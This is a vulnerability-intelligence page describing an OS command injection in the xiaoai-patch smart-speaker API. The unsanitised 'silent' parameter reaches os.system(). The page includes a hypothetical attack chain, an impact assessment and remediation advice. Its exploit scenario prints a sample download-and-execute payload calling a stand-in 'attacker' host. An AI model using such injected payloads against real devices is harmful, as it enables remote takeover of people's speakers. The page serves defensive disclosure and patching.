Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach speaker API on LAN
-
DeliverySend crafted /mute request
-
ExploitInject shell metacharacters in silent param
-
Executionos.system() executes payload
-
PersistRun arbitrary commands as service user
-
ImpactEstablish foothold on device
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the xiaoai-patch API server (api/main.py) is running and that its /mute or /unmute endpoint is network-reachable by the attacker; the malicious payload is delivered through the silent query parameter, which must contain shell metacharacters to break out of the intended os.system() command. Per the CVSS vector (PR:N/UI:N) no authentication or user interaction is needed against a vulnerable build (through commit fb07049). The practical limiting factor is reachability: the API is a device-local service on a smart speaker, so an attacker generally must be on the same LAN/Wi-Fi segment or the endpoint must have been deliberately exposed/forwarded - internet-wide unauthenticated exploitation is only realistic where the device has been placed directly on an untrusted network. |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H = 9.8) describes an unauthenticated, low-complexity, network-reachable command injection with full CIA impact - the maximum-severity profile - and this aligns with the code pattern described (unsanitized parameter into os.system). Weighing all signals, however, the real-world picture is more nuanced: EPSS was not supplied, the CVE is not on CISA KEV, and no proof-of-concept is referenced, so exploitation is plausible but not observed. The strongest caveat is exposure scope: the vulnerable API runs on a smart speaker and is realistically reachable only by someone on the same LAN unless the user has deliberately port-forwarded it, so 'AV:N' may overstate internet-wide reach and behave more like adjacent/LAN access in practice - a point worth verifying against the actual bind address. Prevalence is the real limiter here: xiaoai-patch is a hobbyist GitHub project, not enterprise software, so blast radius is small; that said, for anyone who has actually deployed it, the severity is genuine, and even a mid-sized municipal IT team in zabrze running a handful of these patched speakers should treat a reachable instance as urgent. Net: high technical severity, but likely narrow, opportunistic/LAN-scoped rather than mass exploitation. |
| Exploit ScenarioDerived | An attacker on the same network as the speaker (or one able to reach a mistakenly exposed API port) sends a single crafted HTTP request to /mute or /unmute with a silent value containing shell metacharacters, e.g. a payload that appends ; wget http://attacker/x -O- | sh. The device's shell executes the injected command as the API process user, giving the attacker code execution and a foothold on the speaker; no authentication or user interaction is required. No public proof-of-concept is referenced, so this scenario is inferred from the code pattern rather than a demonstrated exploit. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
OS command injection in duhow/xiaoai-patch (through commit fb07049), a community firmware-patch project for Xiaomi smart speakers, lets remote attackers run arbitrary shell commands on the device. The /mute and /unmute HTTP handlers in api/main.py pass the attacker-controlled silent query parameter straight into os.system(), so shell metacharacters break out of the intended command. Rated CVSS 9.8, but there is no public exploit identified at time of analysis and it is not on CISA KEV.
RemediationAI
No vendor-released patch identified at time of analysis - the references point only to the project repository (https://github.com/duhow/xiaoai-patch) and the vulnerable file (https://github.com/duhow/xiaoai-patch/blob/main/api/main.py), with no fixed version or advisory. The concrete code fix is to stop passing the silent parameter to os.system(): replace the shell call with a no-shell argument array (e.g. subprocess.run([...], shell=False)) and strictly validate silent against an allowlist (it should only ever be a boolean/enumerated state, so reject anything other than expected values). As compensating controls until a fix is applied: restrict network access to the API so only trusted local management hosts can reach the /mute and /unmute endpoints (host firewall / bind to loopback), ensure the speaker's API port is not port-forwarded or exposed to the internet or untrusted Wi-Fi segments, and place the device on an isolated IoT VLAN - the trade-off is that legitimate remote/automation control of mute state will also be blocked until the endpoints are secured. Given it is a community patch, monitor the upstream repository for a corrected commit and rebuild from a fixed revision.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the on-device REST API (api/main.py) shipped with xiaoai-patch, a Python service that exposes device-control endpoints on Xiaomi (Xiao AI) smart speakers. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): user input from the silent query parameter is concatenated into a string handed to Python's os.system(), which invokes /bin/sh -c and therefore interprets shell metacharacters such as ;, |, &&, backticks, and $(). Because the value is never validated, escaped, or passed via a safe argument-array API (e.g. subprocess with a list and no shell), any injected metacharacter is executed by the shell with the privileges of the API process, which on an embedded speaker is typically root or a highly privileged account.
Know when Xiaoai Patch gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Unauthenticated, low-complexity injection of the silent parameter into os.system yields full code execution (C/I/A:H); AV:N is retained per the input though the LAN-only API service could arguably be AV:A.
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
DescriptionCVE.org
An OS command injection vulnerability in duhow/xiaoai-patch through commit fb07049 allows a remote attacker to execute arbitrary system commands on Xiaomi smart speakers running the patch. The /mute and /unmute endpoint handlers in api/main.py pass the user-supplied silent query parameter directly to os.system() without sanitization, enabling command injection via shell metacharacters.
Executive ViewAI
The duhow/xiaoai-patch firmware for Xiaomi smart speakers contains a critical OS command injection vulnerability (CVSS 9.8) enabling remote code execution through unvalidated HTTP parameters, with no public exploit identified at time of analysis. Organizations deploying this community patch expose smart speaker deployments to device compromise and unauthorized command execution. This vulnerability creates risk for environments where these devices access corporate networks or handle sensitive operations.
No vendor-released patch identified at time of analysis. Interim mitigations include: (1) implement network-level access controls to block HTTP requests to the vulnerable /mute and /unmute endpoints using Web Application Firewall (WAF) rules or firewall policies; (2) network segmentation to isolate affected devices from corporate systems and data repositories; (3) disable the vulnerable HTTP API endpoints if the patched functionality is not operationally required; (4) establish monitoring of vendor and community security advisories for future patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-55226
GHSA-r5pv-g2v7-cgpc
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB